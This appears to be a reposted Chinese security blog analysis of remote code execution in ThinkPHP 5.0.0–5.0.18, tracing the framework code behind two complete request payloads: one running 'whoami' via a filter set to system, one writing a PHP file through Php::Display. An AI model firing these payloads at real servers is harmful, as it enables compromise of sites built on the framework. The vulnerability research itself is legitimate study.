<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          Thinkphp5.0.0-5.0.18 RCE分析

          共 4553字,需瀏覽 10分鐘

           ·

          2021-06-25 03:38

          Thinkphp5.0.0-5.0.18 RCE分析

          1.本文一共1732個字 26張圖 預(yù)計閱讀時間15分鐘2.本文作者Panacea 屬于Gcow安全團隊復(fù)眼小組 未經(jīng)過許可禁止轉(zhuǎn)載3.本篇文章主要分析了Thinkphp5.0.0-5.0.18RCE情況4.本篇文章十分適合漏洞安全研究人員進行交流學(xué)習(xí)5.若文章中存在說得不清楚或者錯誤的地方 歡迎師傅到公眾號后臺留言中指出 感激不盡

          0x00.前言

          本篇文章基于thinkphp5.*框架,分析兩種payload的構(gòu)成以及執(zhí)行流程

          準(zhǔn)備

          Windows+phpstudy

          tp版本:thinkphp_5.0.5_full

          php版本:5.4.45

          phpstorm+xdebug

          0x01.Payload1

          開始分析

          漏洞代碼位于:thinkphp/library/think/Request.php

          首先放上payload:

          s=whoami&_method=__construct&method=post&filter[]=system

          圖1

          method方法主要用來判斷請求方式,首先分析一下這段代碼的邏輯:通過$_SERVERserver方法獲取請求類型,如果不存在method變量值,那么就用表單請求類型偽裝變量覆蓋method的值,那么就可以利用這點調(diào)用其他函數(shù),預(yù)定義里面methodfalse,那么就會直接走下一步的是否存在表單覆蓋變量

          圖2

          get方法中獲取var_method的值,值為_method

          圖3

          config.php已經(jīng)有默認值,但我們構(gòu)造的payload里面?zhèn)髦?code style="white-space:pre-wrap;-webkit-tap-highlight-color: transparent;color: rgb(221, 17, 68);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;font-size: 12.6px;background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">_method=__construct就是變量覆蓋,因此下一步會走到__construct方法

              // 表單請求類型偽裝變量    'var_method'             => '_method',

          繼續(xù)往下跟代碼,來到__construct構(gòu)造方法,將數(shù)組option進行遍歷操作,如果option的鍵名為該屬性的話,則將該同名的屬性賦值給\$option的鍵值,如果filter為空的空,就調(diào)用默認的default_filter

          圖4

          filter方法:

              public function filter($filter = null)    {        if (is_null($filter)) {            return $this->filter;        } else {            $this->filter = $filter;        }    }

          而默認的過濾方法為空

              // 默認全局過濾方法 用逗號分隔多個    'default_filter'         => '',

          在構(gòu)造函數(shù)里面走完filter之后會走input方法,繼續(xù)跟進

          圖5

          繼續(xù)往下跟,這里的method已經(jīng)為post方法,所以進入param方法里的post是直接break

          圖6

          下一步進入filtervalue方法中,可以看到我們要傳入的值已經(jīng)全部傳進了,call_user_func()函數(shù)將我們傳入的\$filter=system作為回調(diào)函數(shù)調(diào)用,也就達到了RCE的目的

          圖7
          圖8
          圖9

          0x02.Payload2

          前提

          該利用的重點在于在一定條件下可以使用::來調(diào)用非靜態(tài)方法

          首先我們需要了解靜態(tài)屬性和靜態(tài)方法是如何調(diào)用的,靜態(tài)屬性一般使用**self::**進行調(diào)用,但是在該篇博客上面使用了::的騷操作,用::調(diào)用非靜態(tài)方法

          <?phpclass People{    static public $name = "pana";    public $height = 170;    static public function output(){        //靜態(tài)方法調(diào)用靜態(tài)屬性使用self        print self::$name."<br>";        //靜態(tài)方法調(diào)用非靜態(tài)屬性(普通方法)需要先實例化對象        $t = new People() ;        print $t -> height."<br>";    }    public function say(){        //普通方法調(diào)用靜態(tài)屬性使用self        print self::$name."<br>";        //普通方法調(diào)用普通屬性使用$this        print $this -> height."<br>";    }}$pa = new People();$pa -> output();$pa -> say();//可以使用::調(diào)用普通方法$pan = People::say();

          可以看到最后的輸出,仍然輸出了name的值,但是卻沒有輸出height的值

          圖10

          原因在于:php里面使用雙冒號調(diào)用方法或者屬性時候有兩種情況:

          直接使用::調(diào)用靜態(tài)方法或者屬性

          ::調(diào)用普通方法時,需要該方法內(nèi)部沒有調(diào)用非靜態(tài)的方法或者變量,也就是沒有使用$this,這也就是為什么輸出了name的值而沒有輸出height

          了解上面這些,我們就可以開始下面的分析

          0x03.分析

          先放上流程圖(本人比較菜雞 所以只能用這種方法記錄下來流程)

          圖11

          首先放上payload

          path=<?php file_put_contents('ccc.php','<?php phpinfo();?>'); ?>&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=\think\view\driver\Php::Display&method=GET

          payload的分析

          使用file_put_contents()寫入,使用變量覆蓋將_method的值設(shè)置為_construct,這里的set_error_handler是設(shè)置用戶自定義的錯誤處理程序,能夠繞過標(biāo)準(zhǔn)的php錯誤處理程序,接下來就是調(diào)用\think\view\driver\Php下面的Display方法,因為我們要利用里面的

          eval('?>' . $content);

          完成RCE的目的

          圖12

          雖然會報錯,但是不影響寫入

          圖13

          首先從App.php開始,在routeCheck方法處打斷點

          public static function routeCheck($request, array $config){    $path   = $request->path();    $depr   = $config['pathinfo_depr'];    $result = false;    // 路由檢測    $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];    if ($check) {        // 開啟路由        if (is_file(RUNTIME_PATH . 'route.php')) {            // 讀取路由緩存            $rules = include RUNTIME_PATH . 'route.php';            if (is_array($rules)) {                Route::rules($rules);            }        } else {            $files = $config['route_config_file'];            foreach ($files as $file) {                if (is_file(CONF_PATH . $file . CONF_EXT)) {                    // 導(dǎo)入路由配置                    $rules = include CONF_PATH . $file . CONF_EXT;                    if (is_array($rules)) {                        Route::import($rules);                    }                }            }        }

          這一步主要是獲取$path的值,也就是我們要走的路由captcha

          圖14

          繼續(xù)往下走,$result = Route::check($request, $path, $depr, $config['url_domain_deploy']);,跟進check方法,這里面的重點就是獲取method的值,$request->method()

          圖15

          這里是調(diào)用var_method,因為我們傳入了_method=__construct,也就是變量覆蓋,這些步驟和上面的幾乎一樣

          圖16

          那下一步繼續(xù)跟進__construct,走完construct函數(shù)后,可以看到大部分的值都是我們希望傳進去的,這時method的值為GET,也就是為什么payload里面要傳GET的原因

          圖17

          下一步要獲取當(dāng)前請求類型的路由規(guī)則

          $rules = self::$rules[$method];

          可以看到這里的ruleroute的值都發(fā)生了改變,路由值為\think\captcha\CaptchaController@index

          圖18

          接下來跟進routeCheck()方法,走完這個方法后,返回result

          圖19

          接下來進入dispatch方法

          圖20
          圖21

          接下來進入param方法,合并請求參數(shù)和url地址欄的參數(shù)

          $this->param = array_merge($this->get(false), $vars, $this->route(false));
          圖22

          然后進入get方法,繼續(xù)跟進input方法

          圖23
          圖24

          然后就會回到filterValue方法執(zhí)行任意方法

          圖25
          圖26

          0x04.參考文章:

          https://y4tacker.blog.csdn.net/article/details/115893304

          https://y4tacker.blog.csdn.net/article/details/115893304


          瀏覽 98
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  大香蕉综合娱乐网 | 天天干,天天爽 | 毛片在线观看网站 | 日韩AV无码一区二区三 | www操 |